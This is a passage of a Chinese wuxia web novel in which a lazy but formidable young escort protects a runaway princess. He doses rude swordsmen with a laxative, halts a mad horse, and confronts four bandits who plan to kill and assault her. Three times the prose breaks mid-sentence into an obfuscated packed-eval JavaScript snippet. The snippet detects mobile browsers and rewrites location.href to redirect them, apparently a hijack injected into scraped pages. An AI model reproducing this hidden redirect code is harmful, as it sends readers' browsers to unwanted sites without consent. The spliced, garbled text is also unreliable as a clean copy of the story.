闻言,薛矜慢条斯理抬起眸子,看向坐在对面的陆怀袖,很是体贴地问道:“陆小姐有什么忌口吗?” 陆怀袖沉吟了片刻,方道:“我不吃狗肉,除此之外你随意。” 问清她的忌口之后,薛矜向店小二说道:“那就来一份红烧肉,一份烧兔丁,一份清蒸鱼,以及两份米饭。”说完,他还从腰间取出一锭纹银,轻轻地抛入对方怀内。 山野店家,几时见过如此豪客,店小二受宠若惊地收下了,而后喜笑颜开地走了。 在他走后,薛矜单手托着下巴看向陆怀袖,含笑问道:“在下打算向陆小姐传授一些江湖经验,不知陆小姐听是不听?” 小公主闻言一脸兴奋,点头都快点出残影了。 薛矜一手托着下巴,一手把玩着茶杯,不疾不徐地说道:“陆小姐请谨记,今后行走江湖,最好是把钱花在前头,对方看在钱的份上,自然会对你热情有加。如果你把钱花在后头,就算给的再多,也只能换来对方一句干巴巴的道谢。” 陆怀袖听了这番经验之谈,认真记下。放在之前,她根本不用考虑这种人情往来的问题,毕竟不管她态度如何,她都是高高在上的主子,底下人绝不敢冷待她。 她又同对方交谈了几句,之后便端起面前的粗瓷碗,将那碗黑乎乎的凉茶饮下。沁凉的茶水顺着喉咙灌入腹中,让她赶路的疲劳都一扫而光了。 就在她喝下凉茶没多久,一盘又一盘香气扑鼻的菜肴便被接二连三搬上桌。上菜的速度之快,小二的态度之佳,令陆怀袖匪夷所思。她不由得在心中感叹了一句,薛矜说得果然是对的,拿了钱,这办事态度就是不一样。 两人早已饿了,见菜上齐,便提起筷子准备大快朵颐一番。而就在这时,门外又走进来四位穿着劲装侠客模样的人,一看便知是混江湖的。他们大摇大摆地走进了店里,在薛陆二人斜对面坐下。 陆怀袖见他们岔开腿坐,姿势很不雅观,不由得向薛矜告状道:“你看看那群人,腿张得这么开,实在是太失礼了。”这坐姿要是放在皇宫,给别人看见了,少不了一顿训斥。 正在低头吃菜的薛矜听了她这番话,顺着她的视线看过去,果然看到那群江湖人士大马金刀的坐姿,不由得微蹙了眉头。他只看一眼便将视线挪回陆怀袖身上,曲指敲了敲她的头,又好气又好笑地说道:“你都在看什么地方啊。” 陆怀袖摸了摸被他敲的头,先是不满,意识到他说了什么之后,白皙的耳朵泛起了红,只是被垂下来的小辫子遮掩住了,看不分明。 那群江湖人士在等待上菜的空档,一个个开始谈天说地起来。江湖人聚集在一起,所谈论的自然离不开武林大事,而近期最为轰动武林的,莫过于停剑山庄的新姑爷在大婚之日被一少年在众目睽睽之下杀掉的事。 其中一个刀疤脸如同说书人一般,将这件骇人听闻的惨案向余下众人娓娓道来,只是故事中的反派并无姓名,只用“那个魔头”指代。陆怀袖听得也是津津有味,连饭也顾不上吃了。 刀疤脸将那个魔头斗败侠儒道佛四大高手的详细过程,绘声绘色地讲给他们听。众人听罢,皆是倒吸了一口凉气。这魔头当真强大,和他对敌的这四个人,每一个都是江湖上响当当的大人物,可他们轮番上阵也拿不下他。 喝下一口凉茶,润了润干涩的嗓子后,刀疤脸又继续说道:“……之后众人只觉眼前红光一闪,闪过之后,那魔头转身便走。众人对他离开的理由百思不得其解,直到新娘一声凄厉的尖叫,他们才知新郎早已死去。而满座群雄,竟无一人看到那魔头是如何出手的。” 随着他的话音落下,一个初出茅庐的愣头青不由问道:“那个薛……”他的话还没有说完,就被刀疤脸打断,“你小子糊涂!不要直呼那个魔头的姓名!” 愣头青连忙伸手捂住了自己的嘴,过了一会儿,他好奇问道:“这又是为何?” 刀疤脸轻叹了口气说道:“只因那个魔头生下来就注定要引起腥风血雨,爱他的人爱之深切,恨他的人恨之入骨,总之就没有面对他还能平平静静心如止水的。而爱他的人就难免与恨他的人打得不可开交。由于一提起那个魔头就会引战,后来江湖中就有传言,谁要是再提那个魔头的名字,就会有一把刀架在他的脖子上。” “于是每次提到那个魔头,大家都不会直呼他的姓名。” 愣头青在心里“哦”了一声,原来如此。之后他又小心翼翼地问出之前没有问出口的问题:“那个魔头,他到底长什么样啊?”其他人听了,耳朵立刻就支了起来,显然对这个问题的答案很是好奇。 刀疤脸装模做样地卖了会儿关子,方道:“那个魔头只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273359|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一出任务,就会戴着一张白底红纹的狐狸面具,不露正脸,神秘莫测,鲜少有人见过他真实的样貌。不过……”说到这里,他停顿了一下,众人皆是被他勾起了好奇心,抓心挠肝盼着他说下去。 吊足了众人的胃口之后,他又神秘兮兮地说道:“我听说这魔头之所以常年戴着面具,只因他生得獐头鼠目,青面獠牙,出生的那一天还因为相貌过于丑陋,吓死了自己的母亲。这样丑的一个人,若不戴上面具,怕是门都不敢出。” 众人听了,并没有感觉有什么不对。毕竟在普罗大众的眼里,丑和恶是挂钩的。他们很快就站在道德高地上,以各种不堪入耳的言辞辱骂那个作恶多端的大魔头。 在各种诅咒侮辱的骂声中,薛矜吃下了最后一块鱼肉,然后端起茶碗喝干了最后一口茶水。像是想到什么似的,他看向听得入迷的陆怀袖,用只有两个人能听到的声音说道:“我还听说那个魔头一顿饭要吃一斤人肉,喝十斤人血呢。” 陆怀袖闻言,惊骇地瞪大双眼。结合刀疤脸对那个魔头的描述,她脑中自动浮现出一位长得像李逵的黝黑大汉。 她一想到这个面目凶神恶煞的黝黑大汉当众杀掉了新郎官,害得新娘子还没掀盖头就守了寡,不由得义愤填膺,冲对面的薛矜说道:“薛公子,那位薛姓魔头可真是缺德,你说对吧?” 薛矜正百无聊赖地摆着吃剩下的鱼骨头,闻言稍顿了一下,抬起眸子看向她,不以为意地笑了笑,语气一贯的慵懒:“他本来就是个不折不扣的大恶人啊。”说完瞥了一眼她还剩下很多饭没吃完的饭碗,皮笑肉不笑地提醒道:“你最好赶紧吃完。” 陆怀袖怕他等得不耐烦直接付钱就走了,连忙拿起筷子死命扒饭,看上去仿佛饿死鬼投胎一样。斜对面依旧在谈天说地,只是谈论的对象却换成了那位停剑山庄的大小姐。 她一边埋头扒饭,一边竖起耳朵继续听,听着听着,已对那位素未谋面的大小姐有了基本的了解。原来她曾满天下摆擂台比武招亲,却没有一个人能够打败她,刀疤脸也是她的手下败将。那位失了忆的魔教高手也是在打败她之后,才得以抱得美人归。 刀疤脸被那位大小姐当众打败,面子都丢光了,一直对她怀恨在心,这会逮住机会便乘机落井下石道:“叫那小妞不选我吧,这还没入洞房,自己的夫君就被别人给杀掉了,下半辈子就只能守寡了,活该!”说罢幸灾乐祸地笑了起来。其余人也都随声附和道:“对对对,都怪她有眼无珠,这会她可就遭老罪喽。” 陆怀袖听了这番风凉话,好看的眉头拧起来,三口两口就扒完了饭,她可不想再和这群人同处一室了。 在她吃下最后一口饭时,薛矜也成功将鱼骨摆成一条完整的鱼。他在桌上丢下一锭银子,随后拍了拍手起身,目不斜视的从那群正在喝茶的江湖人士身边经过,然后没事人一样径直走出门去。 陆怀袖见他招呼都不打一声就走了,气得跺了一下脚,随即便撒开腿追了上去。 在薛陆二人走后,那群江湖人士忽然感到腹中一阵绞痛,像是有把刀在翻来覆去地搅动,想要释放的欲望顿时压倒了一切。 豆大的汗珠从额头滚下,他们面面相觑,从彼此眼中看到了相同的想法:这茶水有问题,定是被人悄无声息下了泻药。这种泻药是特殊研制的,无色无味,一般人闻不到也尝不出,所以他们才没有察觉到异样。 他们光顾这家小酒馆多年,知道掌柜和小二不敢干出这事,给他们下药的必定另有他人。 只是,眼前的状况却容不得他们多想。他们捂着翻江倒海的肚子表情痛苦,争先恐后的向五谷轮回之所跑去。这泻药实在太猛,可想而知,他们三天之内是别想从茅房里出来了。 而这一切,都和早已远去的罪魁祸首无关了。 13. 救乞儿 出了门后,陆怀袖并没有花太多的工夫就追上了薛矜,只因对方根本没走远,就站在临河的柳树下等她。 薛陆二人继续赶路,时间紧迫,他们必须在天黑之前找到一处落脚点,否则就得露宿野外了。又走出几里地,在天彻底黑下来之前,他们终于抵达了一座小镇。 刚一抵达小镇,他们就觉得这镇子比起普通的镇子要热闹很多。此时夕阳西下,红霞满天,街道上的行人陆陆续续多了起来,庄稼汉,泥瓦匠,小商贩,人来人往熙熙攘攘。沿街摆满了各色小摊,薛陆二人一路走下来,小贩叫卖声不绝于耳。卖手绢的,卖钗环的,卖胭脂的,卖小吃的,琳琅满目看得陆怀袖是眼花缭乱。 薛矜侧过头瞥了一眼陆怀袖,看到她一副没见过世面的模样,在心中轻轻摇头,果然是养在深闺大院中的女子,想必平日里大门不出二门不迈的,日常就是关在宅子里练习琴棋书画和刺绣女红。 他这样想着,不动声色地走在车流一侧,而让陆怀袖走在道路内侧,并且挨着人群,时刻护着他的雇主不被拥挤的人群推搡。 薛陆二人走到街角处,忽见一群人围在一起,似乎在观看着什么东西。陆怀袖顺着他们看的方向望去,只见一个马戏班子在街角拉开场子,正在表演杂技,观众人山人海。 陆怀袖在宫里也看过马戏表演,但在宫外还是第一次,不知道和宫里的有什么区别。她一时兴致盎然,加快了脚步朝着那人潮涌动,热闹非凡的地方挤过去。薛矜无奈,也只得跟上去。 他们看过去的时候,压轴戏已上演,表演的自然是马戏班的班主。班主是位黄衣女子,看上去二十岁出头,容貌甚佳,手持长剑。 没过多久,马戏班子便在两边商铺的屋脊上搭好了一根手指粗的绳子。黄衣女子见时机已到,双脚朝着地面一蹬,整个人腾空而起,下一刻便出现在屋顶上迎风站立。她的黑色长发随风飘舞,衬得她本就纤细窈窕的身段更加美丽动人。 她那潇洒利落的身姿,引得满堂喝彩。陆怀袖用崇拜的目光看着她,自己想象中的女侠就该是她这般模样。 很快黄衣女子便飞身踏上空中绳索,环抱双手在空中来回走了一趟,神情自若,步履轻盈。她在粗绳上行走,竟然也能如履平地,底下的观众却是看得心惊肉跳,纷纷为她捏了一把冷汗,生怕这花朵儿般的姑娘一个不小心摔下去成为肉泥。 紧接着,黄衣女子在拇指粗的绳索上挥舞长剑,一招一式优美有力,身影扭转腾挪间,若流星追月。她本就就身量纤细,舞起剑来更是婀娜多姿,更为难得的是,她的剑招并不是花架子,一套剑法使得行云流水,飘逸凌厉,比起常年习武的武者也毫不逊色,把台下的观众看得是如醉如痴。 黄衣女子舞剑完毕后,挽了个漂亮的剑花,收剑入鞘,接着双脚一蹬,身子便从半空中落下。底下观众见到这一幕,惊骇地瞪大了双眼,他们最害怕的事果然还是发生了。 可谁知黄衣女子的身子在半空中一个翻转,稳稳地落在地上,而后对着所有观众深深地鞠了一躬。 她这一套动作下来,围观群众都看呆了,反应过来之后瞬间响起一片喝彩声。黄澄澄的铜钱像雨点一般洒进她的盘子里,顷刻间便堆得好像一座小山一样高。 陆怀袖看了这么一场精彩纷呈的表演,本来也想效仿其他人掏出钱来打赏,奈何全身家当都给了薛矜,这一掏居然掏了个空。她眨巴着大眼睛看向旁边的少年,没有请求,但眼中的意思不言而喻。 少年会意,直接扔了一锭银子过去,准备无误地扔进黄衣女子用来放钱的盘子里。 马戏表演结束后,天色已经暗了下来。华灯初上,薛陆二人的影子投落在地面上,而影子们的主人正慢悠悠走着。 陆怀袖想起观看表演时,薛矜明显一副兴致缺缺心不在焉的模样,不由得说道:“感觉薛公子都没有认真看,班主的表演明明很精彩啊。你不觉得她这么年轻就能做出这么高难度的动作,很是厉害嘛。” 薛矜懒懒地撩起眼皮,瞥了她一眼,而后点点头,敷衍道:“你说得对。”他当然不觉得这些是高难度动作。他十岁那年,在严酷的训练之下,就能做到手里拎着两桶水,赤裸双脚行走在刀刃上却浑若无事了。但他不想和她谈论此事,所以选择敷衍了事。 眼见着天已经黑下来了,两人打算先找个地方满足口腹之欲,再找间客栈歇一晚,明日再启程。 正寻找间,薛陆二人却突然听见远方传来一阵骚乱。他们皱着眉看过去,只见一群百姓如同老鼠般,抱头四处逃窜着,尖叫着:“快跑!快跑!马惊了!” 紧接着一匹高大健硕的黑马发疯似的奔着他们的方向冲了过来,在大街上横冲直撞的,沿途撞翻了不知道多少摊位。一个面黄肌瘦衣衫褴褛的小乞丐正抱着膝盖蹲在它的正前方,见那匹疯马直直地冲了过来,脸上的表情惊恐到了极点,连避开都忘记了。 眼看着那狂奔的马匹就要踩上他了,陆怀袖的身体先于脑子做出反应,倏然一个箭步冲上前去,将小乞丐一把抱住,想带着他往一边躲去。 奈何那匹马的速度实在太快了,她刚接触到小乞丐的身体,眼看就要被落下的马蹄踏中。 陆怀袖哪里见过这种场景,顿时吓得花容失色。她的脑中此时只有一个念头萦绕不散:今天就要交代在这里了。她这样想着,抱着小乞丐的手却更加用力,用力到骨节都泛了白。 围观人群眼见得这一幕,皆是不忍心地闭上了眼,好像下一刻这个好心的小姑娘就要和这个小乞儿一起被踏成肉泥了。 而就在这千钧一发之际,让所有人都意想不到的事情发生了。 那匹疯马居然奇迹般停了下来,伸颈急嘶,却移动不了一步。 在它身后,一位面目秀美的绯衣少年伸手抓住马尾,竟硬生生将这匹狂奔疾驰的马逼停了。他再用力一掀,将那匹健壮的骏马直接掀翻在地。那匹马倒地之后只挣扎了几下,便气息全无了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273360|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人目睹此景,皆是瞪大双眼,嘴巴张的可以放下一个鸡蛋。这么一个面若好女的美少年,居然能徒手制服那匹膘肥身健的疯马,可真是应了那句古话:人不可貌相,海水不可斗量啊。 好生感叹了一番之后,他们见无人伤亡,便作鸟兽散,各做各事去了。 薛矜制服了那匹疯马后,便不再看它,径直走到陆怀袖身前,抱着手臂居高临下地看着她。 陆怀袖缓慢地眨了眨眼,还不敢相信自己已脱离险境。她劫后余生地呼出一口气,心有余悸地拍了拍自己的胸脯。定了定神后,她伸手将小乞丐扶了起来,安抚性的拍了拍他的肩膀,然后将他放开。 小乞丐嘴巴嗫嚅着,却不知道说什么,只好给两位救命恩人深深鞠了一躬,然后继续蹲在墙根底下。 做完这一切后,陆怀袖向适才救了自己一命的少年望了过去,却正好对上他兴师问罪的眼神。 她讪讪笑了笑,知道自己一时热血上涌,差点害得人家拿不到另一半佣金,心中感到十分愧疚。她张了张嘴,刚想说句什么缓和气氛,少年却用他那轻软的声音拖长着调子说道:“陆小姐可真是个大好人啊。” 他说的明明是赞美之词,可陆怀袖就是从中听出了嘲讽之意。她将右手握成拳头,放在唇边轻咳了一声,而后结结巴巴地解释道:“我在大脑意识到之前,身体先动了。反应过来后,我已经在马蹄下了。” 说完她小心翼翼的看了他一眼,小声嘟囔着说道:“总不能见死不救吧。” 薛矜若有所思地盯着她看了一会儿,忽然毫无预兆的低声问道:“这小乞丐身上这么脏,你却把他抱在怀里,就不嫌弃吗?” 陆怀袖没想到他会问这个,愣了一愣,随即坦然答道:“当时情况紧急,我哪里顾得上这些小事。”她稍稍顿了顿,又语气真诚地续道:“而且我身上也不干净啊,赶了这么久的路,身上都是汗臭味呢,哪有资格嫌弃人家。” 这番话,陆怀袖说得随意也真诚。薛矜盯着她,不放过她脸上任何一丝表情变化,似乎想看出她是否在说谎。看了好一会儿后,他轻笑一声,意味不明地说道:“陆小姐可真是个大好人啊。” 一字不差的两句话。但不同于先前冷冰冰带着刺的那句,这一句真情实感。陆怀袖虽不知道他的态度为何发生了转变,但她得了对方夸奖,唇角还是忍不住上扬起来。 她刚想说些什么,却见薛矜走了过去,给小乞丐送去一个烧饼和十枚铜钱,然后便用眼神示意她和自己离开。 两人一前一后离开了此处,小乞丐一口接一口吃着那个烧饼,仿佛那就是人世间最美味的食物了。他今天遇到了两个好心人,不仅救了自己一命,还赏了自己十文钱。 世上还是好心人多啊。 只是他不知道,在某个阴暗的角落里,四个面目狰狞的大恶人已经悄然盯上了方才救下他的那位姑娘,四双眼睛钉子似的钉在她的身上,在黑暗中闪烁着幽幽绿光,分外骇人。 14. 四凶徒 那四人正是先前假扮驿站成员,又在小树林里杀光了和亲队伍的恶徒。 他们本来是横行江湖十余载,无恶不作臭名昭著的四大凶徒——魑魅魍魉。这四人平生犯下无数杀孽,但他们武功既高,为人又阴险狡诈,武林正道多次围剿皆不能将其铲除,反倒被其趁机杀害了不少人。 这四人意外听说朝廷要派出明月公主前往北离和亲,想到对方是皇帝老儿最宠爱的小公主,嫁妆必定丰厚,一时起了贪念,想要杀人越货,往后就不用再为钱发愁了。 他们在打探了和亲队伍的行进路线后,便捏造身份,埋伏在了队伍的必经之路上。计划进行时,连老天爷都在帮忙,降下一场瓢泼大雨。和亲队伍在他们埋伏的驿站避雨,他们索性一不做二不休,将人骗进小树林里,再在这个人迹罕至的地方谋财害命。最后还真让他们得了手,小公主的随行嫁妆的确丰厚,足够他们逍遥几辈子了。 事情的发展完全按照他们的计划来,不过,中间出现了一点变数,那就是小公主和她的陪嫁宫女趁机逃跑了,目前下落不明。若是让她们逮住机会通风报信,他们四个免不了又要被武林正道人士和官府通缉。 而导致他们在接下来很长的一段时间里都要担惊受怕的罪魁祸首,便是那个忠心护主的李奈李侍卫。他们在他射光了箭筒中所有羽箭后,便一起冲上前去,三招两式就制服了他,而后将他残忍分尸,以泄心头之恨。 这日他们刚从青楼里逛出来,却没想到正好撞见了先前死活找不到的明月公主,顿时喜出望外,这就叫做踏破铁鞋无觅处,得来全不费功夫,他们这下可就能斩草除根了。 只是这一次她的身边却多了一个适合给她当面首的少年,他们不知对方深浅,不敢贸然动手,一时踟蹰不前。但他们很快又燃起了自信心,不将这少年放在眼里了。 笑话,连负责保护明月公主的精锐侍卫都被他们杀了个精光,对付这么一个小白脸,还不是手到擒来? 他们打定了主意,一寻到合适的时机就一刀砍死那个小白脸,然后擒住明月公主。至于之后怎么处置她,魑魅魍魉四大凶徒谈论到此处,皆是嘿嘿笑了起来。 这小公主生得月貌花容,国色天香,果然名不虚传,是个难得的大美人。他们早在对方避雨那会就惦记上了,只是碍于计划不能对她下手。直到小树林那会儿,他们大开杀戒,将护送她和亲的侍卫们杀了个片甲不留。四凶徒本想着擒住这位公主之后,先肆意玩弄一番,再一刀割喉,却没想到最后被人给跑了,怎么找也找不到。 如今再次见到她,原本打算先奸后杀的念头便再度涌入他们的脑海中。他们也十分好奇,这生在帝王家的金枝玉叶,和乡野村妇又有何区别。 存了这样的念头,魑魅魍魉四大凶徒一路悄然尾随,和薛陆二人始终保持着一段不近不远的距离,想要等到他们行至一个人迹罕至的地方,再冲上去杀人灭口。 但他们刚跟了没多远,忽觉眼前一花,四枚暗器直直扑向他们,还没等他们反应过来,就打在了他们膝盖上。四人只觉膝盖那里传来钻心的疼,紧接着双腿一软,齐齐瘫倒在地,痛得哼哼唧唧直叫唤。 过了不知道多久,他们狼狈的从地上爬起来,四双眼睛不可思议地看着那击中他们膝盖的暗器,居然只是四片树叶,刚刚那恐怖的攻击,竟然只是来自四片轻飘飘绿油油的树叶。 魑魅魍魉四大凶徒大眼瞪小眼,你看我,我看你,面面相觑,皆从对方的眼中看到了震惊之色。能把这么柔软的树叶,当作暗器疾射而出,不但力道深厚,而且丝毫听不出劲风之声,出手的人实力之强实在是令人匪夷所思。 那人显然没想过下杀手,否则的话,向他们射来的树叶,就不会只是打在膝盖上,而是洞穿他们的血肉之躯了。他们毫不怀疑,如果对方想要取他们的性命,简直是易如反掌。 没想到在这座不知名的小镇上却遇上了这样的高手,四人首先想到的是他们作恶多端,有人惦记上了他们,想要替天行道。 但他们并未太放在心上,毕竟那人明明能杀掉他们却没有选择对他们痛下杀手,想来是个无时无刻不在劝人放下屠刀立地成佛的正道中人,而君子可以欺之以方嘛。 同在江湖上混,一个道德正常的人是很难胜过没道德的人的,因为你不肯拉低自己的下限去对付他,而他没有下限。而这也是他们至今仍能安然无恙的原因之一。 但这番举动还是成功震慑到了他们,四大凶徒暗下决定,先不要轻举妄动,等到这一夜过后,高手走了,他们再斩草除根也不迟。 于是他们就躲在某个角落里,暗中窥视不远处吃着路边摊的薛陆二人,想要等他们吃完,跟着他们住进同一家店,而且就在他们隔壁住下,寻到合适的时机再下杀手。 被四双眼睛盯着的两人正坐在一起吃烧烤,准确地说,是薛矜看着陆怀袖吃烧烤。 烧烤摊的老板是个看上去很亲切的大胖子,他手捧大批生肉,在熊熊燃烧的烤炉旁不停翻烤,浓浓的白雾逐渐模糊了他的面容。烟熏气混着肉香四溢开来,传遍了整条街道,引来了许多行人的驻足。 此时此刻,两人的面前摆着一碟又一碟的烧烤,滋滋的烤肉声和醉人的香味肆意地萦绕在他们身周。薛矜单手托着下巴看着对面的陆怀袖,她正一串接着一串的吃了起来,两腮鼓鼓囊囊的和松鼠一样。 看着看着,绯衣少年不禁露出一副匪夷所思的模样。 难不成他认识了一个假的陆怀袖?同住一个月,他怎么没发现对方这么能吃。 不知不觉,陆怀袖面前已经堆积了不少的竹签。她刚吃完一串烤年糕,又拿起一串色泽金黄的烤鸡翅,轻轻咬了一口,外皮酥脆,肉质软嫩,好吃得她差点把舌头给吞了。 就在她打算吐出骨头时,忽然意识到了什么,秀眉微蹙,鸡骨头堵在嘴里怎么也不肯吐不出来。 薛矜是一个拥有七窍玲珑心的人,鉴貌辨色,已知其意,这位大家闺秀定是不好意思在他面前吐骨头,觉得不雅观所以才作出这副为难的模样。他当即体贴地转过了身子,不再看她,果然下一刻就听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273361|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了她吐出骨头时发出的细碎声响。 想到对方还有几串烤鸡翅没吃完,他索性背对着她,一边抬头看着天上孤零零的星星,一边语调随意地问道:“陆小姐以前吃过路边摊嘛?” 手上拿着又一串烤鸡翅正要吃下的小公主怔愣了片刻,而后不无惆怅地说道:“我以前连家门口都没出过,哪里吃过这些。”她说得是实话,只不过她家很大就是了。 薛矜闻言并不意外地点了点头,对方果然是个大门不出二门不迈的闺阁女子,倒是与他推测的十分符合。静默了一阵,他又率先开口打破沉默:“那这一路上,我带你吃各种好吃的。” 这句话过后陆怀袖沉默了许久,薛矜心中纳罕,正要转身回看,却听见对方轻轻地“嗯”了一声,声音里带着浓浓的鼻音,好像下一刻就要哭出来了似的。 薛矜诧异地挑了挑眉,她这就感动了,他也没说什么吧。这位陆小姐可真是容易被骗的那种类型呢。 想到这里,他若有所思的将视线投向蹲在阴影里的四个人,凭借着过人的视力,他看清了四人的长相,嗯……丑的出类拔萃。对方鬼鬼祟祟的一路尾随他二人,明显不怀好意。 他一早就察觉到了他们在跟踪自己,随手摘下几片叶子飞出去,本想吓退这四个人,没想到他们还是要上赶着跑来送死。哎,没办法,又要劳烦他出手了,他真的不想动啊不想动啊。 少年心中不住叹息,但还是缓缓的从座椅上起身,而后伸了个长长的懒腰。做完这一切后,他转身看向陆怀袖,向吃得正起劲,丝毫没有察觉到危险即将来临的少女说道:“我吃饱了,去散一下步,很快回来。” 陆怀袖闻言,立刻放下了手中刚吃到一半的串串,想要站起身来和他一起散步,只是刚起到一半,就被少年按了下去,对方那好听的声音在她耳畔温柔响起:“你吃你的,我只是去散散步,很快就会回来的。” 他的声音好似有魔力一般,传入陆怀袖的耳朵里,让她无法拒绝。她纠结了一会便对他说道:“那你就去吧,我在这等你回来。”后半句话,她特意加重了语气。 在将要走远之时,薛矜似有所感地看向身后的陆怀袖,给了一个眼神让她安心,而后闲庭信步般离开了她的视线。直到少年彻底消失在视野中,陆怀袖才收回目光。 将吃了一半的串串再度送入口中,她轻轻咬了一口,只觉得索然无味。 正暗中窥视着薛陆二人的四凶徒发现少年离开,心中正惊疑不定。而下一刻,那名少年就出现在他们跟前,什么动静都没有发出,对方就好像突然从阴影里冒出来了一样。 他们身体僵住,愣愣地看着眼前本不该出现在这里的少年,每个人的脸上都写满了不可置信。 夜幕低垂,银白月光落在他身后,少年慢慢弯下腰,和蹲着的四人对上视线。那张浓墨重彩的脸藏在阴影里,大大的漆黑的瞳仁与黑暗融为一体,让他看上去仿佛艳丽的恶鬼。 这只恶鬼脸上挂着亲切纯真的笑容,声音像是诱骗:“我们换个地方说话如何?” 15. 花与刀 那四大凶徒听到他这样说,交换了一个眼神,顷刻间就做下了决定。为首的老大魑叉起了腰,雄赳赳气昂昂地说道:“去就去,谁怕谁。”对方这么识相,也免得他们动粗了,待会就让他主动将小公主交出来,他们也可以考虑留他一命。 薛矜见他们答应,唇角微微勾起,一抹与之前都截然不同的笑浮现在他脸庞上。四凶徒看着那抹笑,无端打了个寒颤。 接下来他将他们带到了一处人迹罕至的小巷口,站定,双方谁也不言语,似是展开一场无声对峙。 四凶徒中的老大魑突然跨前一步,率先开口打破沉默:“小子,我们看上了你身边的那位姑娘,识相的赶紧把人交出来,我们还可以饶你不死,否则的话……”说到这里,他握住刀柄将刀抽出几寸,银白色的刀身在月光照射下泛出寒光,意思不言而喻。 可薛矜似乎没看懂他的意思,直接无视了他的这番举动,疑惑地歪了歪头,不解地问道:“我能问问,你们为何要揪着她不放么?” 老大魑闻言,倒是有些惊讶道:“你不知道她的身份?”不过很快他便想明白了,那个小公主必定是对他隐瞒了自己的身份,所以这少年才对此一无所知。他不由得有些好奇地问道:“那个妞和你说她是什么身份。” 薛矜想也没想便脱口而出:“她说她是某位达官贵人的私生女,要千里寻父,却路遇恶匪,这才掉下悬崖,被我捡到。” 魑魅魍魉面面相觑,皆在彼此眼中看到相同的意味:难怪他们找不到那个小公主,原来是掉下悬崖了。而她之所以和这少年结伴同行,全因这少年救下了她。 老大魑哈哈笑了一阵,说道:“小子,你被骗了,她可不是什么达官贵人的私生女。你救下了她,她却连真实身份都不愿告知于你,这种满口谎言的女人,哪里值得你舍命相护,赶快把她交给我们吧。” 薛矜装作一副被骗之后,不敢置信又伤心欲绝的模样,捂着心口喃喃自语道:“原来她骗了我……”片刻后,他又艰涩地问道:“诸位好汉,能否告知我这个被骗的可怜人,那位小姐的真实身份是什么?” 四大凶徒生平第一次被人尊称为好汉,一时飘飘然仿佛置身云端,看着眼前的少年越看越顺眼。 老大魑也不卖关子,直截了当地说道:“实话告诉你吧,那小妞的真实身份,乃是当朝公主,此次出巡是奉了她父皇的命令,前往北离和亲,以结两国友谊。她说自己路遇恶匪,实际上就是我们。我们杀光了她的护卫,本想擒住她,没想到却被她跑了。” 薛矜听罢,长长的哦了一声,作出一副恍然大悟的样子,“原来如此。”难怪这小姑娘出手如此阔绰,原来是位公主啊。他真的是小看她了。 四人对视了一眼,老大魑板着脸,恶声恶气道:“小子,你考虑清楚没有?你要是识相的把那位公主交出来,我们便不对你下杀手。你若要不自量力的做起了护花使者,就只能落个死无全尸的下场,就像那位李侍卫一样。”说到此处,四人皆是咧开唇角,露出一个残忍的笑容来,看上去简直跟嗜血的狼没两样。 时间似乎是过了很久,又或许只是短暂一瞬,薛矜咬了咬唇,像是下定了什么决心似的说道:“我不可能将她交给你们的。” 这倒是大大出乎他们的意料,老大魑脸色一变,冷哼一声说道:“这小妞是给你下了什么迷魂药,让你豁出性命保护她。难不成你们……”他并没有接着说下去,但从他脸上的表情来看,分明是想到了男女□□里的那些烂事。 薛矜心中腹诽着,但为了双方的清白,他还是认认真真地解释道:“非也非也,我之所以护着她,全是因为她给的实在太多了。俗话说的好,拿人钱财,与人消灾嘛。” 魑从鼻子里轻哼了一声,显然并不相信他的解释。他看向少年,眼中杀机毕露,将手按在刀柄上冷声道:“既然你要自寻死路,那就别怪我们了。我倒要看看是你的嘴硬,还是我们的刀子硬。” 闻言,薛矜并未露出害怕的神色,反而若有似无地叹了一口气:“我实在不想伤害你们。”假的,他只是不想多干活。 魑魅魍魉听他这般说,惊讶了好一会儿,反应过来后均是捧腹大笑,笑声之中充满了不屑与嘲讽之意。笑够了之后,魑觑着眼睛将少年从上到下打量了一番,无比嫌弃地说道:“伤害我们?就凭你?一个比女人还要白的小白脸?”其余三人皆是连连附和,言语之中满是轻蔑。 遭人嘲笑,薛矜也不恼,和将死之人没有什么好计较的。他脸上依旧挂着和煦的笑意,优雅地抬抬手,做了个“请”的手势,不疾不徐地说道:“多说无益,动手吧。” 四大凶徒见到他这般淡定模样,好似全然不将他们放在眼里一般。他们最受不了旁人轻视,一时心头火起,纷纷拔刀出鞘,打算送这个不知死活的少年下地狱。 魍睁圆环眼,首先提刀而上,使出一招“玉带围腰”砍向少年。这一刀乃是他全力劈出,携着一股无可匹敌的气势,似要将少年当场砍作两截。 